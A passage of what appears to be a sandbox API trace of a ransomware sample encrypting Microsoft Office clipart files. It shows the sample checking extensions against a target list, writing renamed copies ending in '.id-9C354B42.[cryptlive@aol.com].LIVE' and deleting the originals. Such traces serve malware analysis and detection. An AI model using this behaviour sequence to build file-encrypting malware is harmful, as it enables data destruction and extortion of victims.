returned -1 [0158.165] lstrlenW (lpString=".docx") returned 5 [0158.165] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0158.165] lstrlenW (lpString=".pdf") returned 4 [0158.165] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.165] lstrlenW (lpString=".xls") returned 4 [0158.165] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.165] lstrlenW (lpString=".xlsx") returned 5 [0158.165] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0158.165] lstrlenW (lpString=".ppt") returned 4 [0158.165] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.165] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0158.165] lstrlenW (lpString=".zip") returned 4 [0158.165] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.165] lstrlenW (lpString=".rar") returned 4 [0158.165] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.166] lstrlenW (lpString=".bz2") returned 4 [0158.166] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.166] lstrlenW (lpString=".7z") returned 3 [0158.166] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0158.166] lstrlenW (lpString=".dbf") returned 4 [0158.166] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0158.166] lstrlenW (lpString=".1cd") returned 4 [0158.166] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0158.166] lstrlenW (lpString=".jpg") returned 4 [0158.166] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0158.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0158.166] lstrlenW (lpString=".doc") returned 4 [0158.166] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.166] lstrlenW (lpString=".docx") returned 5 [0158.166] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0158.166] lstrlenW (lpString=".pdf") returned 4 [0158.166] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.166] lstrlenW (lpString=".xls") returned 4 [0158.166] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.166] lstrlenW (lpString=".xlsx") returned 5 [0158.166] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0158.166] lstrlenW (lpString=".ppt") returned 4 [0158.166] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.166] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0158.166] lstrlenW (lpString=".zip") returned 4 [0158.166] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.166] lstrlenW (lpString=".rar") returned 4 [0158.166] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.166] lstrlenW (lpString=".bz2") returned 4 [0158.166] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.166] lstrlenW (lpString=".7z") returned 3 [0158.167] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0158.167] lstrlenW (lpString=".dbf") returned 4 [0158.167] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0158.167] lstrlenW (lpString=".1cd") returned 4 [0158.167] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0148798.JPG") returned 63 [0158.167] lstrlenW (lpString=".jpg") returned 4 [0158.167] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.167] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0158.167] lstrlenW (lpString="J0149018.JPG") returned 12 [0158.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.168] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=27393) returned 1 [0158.168] CloseHandle (hObject=0x3a0) returned 1 [0158.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg")) returned 0x20 [0158.168] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.169] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.169] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.170] GetLastError () returned 0x0 [0158.170] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x6b01, lpOverlapped=0x0) returned 1 [0158.172] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0158.173] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.173] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.173] SetEndOfFile (hFile=0x380) returned 1 [0158.173] CloseHandle (hObject=0x380) returned 1 [0158.173] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.173] SetEndOfFile (hFile=0x3a0) returned 1 [0158.178] CloseHandle (hObject=0x3a0) returned 1 [0158.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149018.jpg")) returned 1 [0158.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0158.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0158.180] lstrlenW (lpString=".doc") returned 4 [0158.180] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.180] lstrlenW (lpString=".docx") returned 5 [0158.180] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0158.180] lstrlenW (lpString=".pdf") returned 4 [0158.180] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.180] lstrlenW (lpString=".xls") returned 4 [0158.180] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.180] lstrlenW (lpString=".xlsx") returned 5 [0158.180] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0158.180] lstrlenW (lpString=".ppt") returned 4 [0158.180] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0158.180] lstrlenW (lpString=".zip") returned 4 [0158.180] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.180] lstrlenW (lpString=".rar") returned 4 [0158.180] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.180] lstrlenW (lpString=".bz2") returned 4 [0158.181] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.181] lstrlenW (lpString=".7z") returned 3 [0158.181] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0158.181] lstrlenW (lpString=".dbf") returned 4 [0158.181] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0158.181] lstrlenW (lpString=".1cd") returned 4 [0158.181] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0158.181] lstrlenW (lpString=".jpg") returned 4 [0158.181] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0158.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0158.181] lstrlenW (lpString=".doc") returned 4 [0158.181] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.181] lstrlenW (lpString=".docx") returned 5 [0158.181] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0158.181] lstrlenW (lpString=".pdf") returned 4 [0158.181] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.181] lstrlenW (lpString=".xls") returned 4 [0158.181] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.181] lstrlenW (lpString=".xlsx") returned 5 [0158.181] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0158.181] lstrlenW (lpString=".ppt") returned 4 [0158.181] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0158.181] lstrlenW (lpString=".zip") returned 4 [0158.181] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.181] lstrlenW (lpString=".rar") returned 4 [0158.181] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.181] lstrlenW (lpString=".bz2") returned 4 [0158.181] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.181] lstrlenW (lpString=".7z") returned 3 [0158.181] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0158.182] lstrlenW (lpString=".dbf") returned 4 [0158.182] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0158.182] lstrlenW (lpString=".1cd") returned 4 [0158.182] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149018.JPG") returned 63 [0158.182] lstrlenW (lpString=".jpg") returned 4 [0158.182] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.182] lstrcmpiW (lpString1=".JPG", lpString2=".LIVE") returned -1 [0158.182] lstrlenW (lpString="J0149118.JPG") returned 12 [0158.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.183] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=64802) returned 1 [0158.183] CloseHandle (hObject=0x3a0) returned 1 [0158.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg")) returned 0x20 [0158.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0158.184] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.184] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0158.185] GetLastError () returned 0x0 [0158.185] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xfd22, lpOverlapped=0x0) returned 1 [0158.396] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xfd30, lpOverlapped=0x0) returned 1 [0158.398] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.399] WriteFile (in: hFile=0x380, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.399] SetEndOfFile (hFile=0x380) returned 1 [0158.399] CloseHandle (hObject=0x380) returned 1 [0158.399] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.399] SetEndOfFile (hFile=0x3a0) returned 1 [0158.402] CloseHandle (hObject=0x3a0) returned 1 [0158.402] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.475] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0149118.jpg")) returned 1 [0158.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0158.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0158.477] lstrlenW (lpString=".doc") returned 4 [0158.477] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.477] lstrlenW (lpString=".docx") returned 5 [0158.477] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0158.477] lstrlenW (lpString=".pdf") returned 4 [0158.477] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.477] lstrlenW (lpString=".xls") returned 4 [0158.477] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.477] lstrlenW (lpString=".xlsx") returned 5 [0158.477] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0158.477] lstrlenW (lpString=".ppt") returned 4 [0158.477] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.477] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0158.477] lstrlenW (lpString=".zip") returned 4 [0158.477] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.477] lstrlenW (lpString=".rar") returned 4 [0158.477] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.477] lstrlenW (lpString=".bz2") returned 4 [0158.477] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.478] lstrlenW (lpString=".7z") returned 3 [0158.478] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0158.478] lstrlenW (lpString=".dbf") returned 4 [0158.478] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0158.478] lstrlenW (lpString=".1cd") returned 4 [0158.478] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0158.478] lstrlenW (lpString=".jpg") returned 4 [0158.478] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0158.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0158.478] lstrlenW (lpString=".doc") returned 4 [0158.478] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0158.478] lstrlenW (lpString=".docx") returned 5 [0158.478] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0158.478] lstrlenW (lpString=".pdf") returned 4 [0158.478] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0158.478] lstrlenW (lpString=".xls") returned 4 [0158.478] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0158.478] lstrlenW (lpString=".xlsx") returned 5 [0158.478] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0158.478] lstrlenW (lpString=".ppt") returned 4 [0158.478] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0158.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0158.479] lstrlenW (lpString=".zip") returned 4 [0158.479] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0158.479] lstrlenW (lpString=".rar") returned 4 [0158.479] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0158.479] lstrlenW (lpString=".bz2") returned 4 [0158.479] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0158.479] lstrlenW (lpString=".7z") returned 3 [0158.479] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0158.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0158.479] lstrlenW (lpString=".dbf") returned 4 [0158.479] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0158.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0158.479] lstrlenW (lpString=".1cd") returned 4 [0158.479] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0158.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0149118.JPG") returned 63 [0158.479] lstrlenW (lpString=".jpg") returned 4 [0158.479] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0158.479] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0158.479] lstrlenW (lpString="J0151061.WMF") returned 12 [0158.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0158.480] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=6752) returned 1 [0158.481] CloseHandle (hObject=0x1f8) returned 1 [0158.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf")) returned 0x20 [0158.481] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0158.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0158.481] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.481] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0158.483] GetLastError () returned 0x0 [0158.483] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1a60, lpOverlapped=0x0) returned 1 [0158.507] WriteFile (in: hFile=0x38c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0158.508] ReadFile (in: hFile=0x1f8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.508] WriteFile (in: hFile=0x38c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0158.508] SetEndOfFile (hFile=0x38c) returned 1 [0158.508] CloseHandle (hObject=0x38c) returned 1 [0158.508] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.508] SetEndOfFile (hFile=0x1f8) returned 1 [0158.510] CloseHandle (hObject=0x1f8) returned 1 [0158.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0158.511] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf")) returned 1 [0158.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0158.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0158.512] lstrlenW (lpString=".doc") returned 4 [0158.512] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0158.512] lstrlenW (lpString=".docx") returned 5 [0158.512] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0158.512] lstrlenW (lpString=".pdf") returned 4 [0158.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0158.512] lstrlenW (lpString=".xls") returned 4 [0158.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0158.512] lstrlenW (lpString=".xlsx") returned 5 [0158.512] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0158.512] lstrlenW (lpString=".ppt") returned 4 [0158.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0158.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF") returned 63 [0158.512] lstrlenW (lpString=".zip") 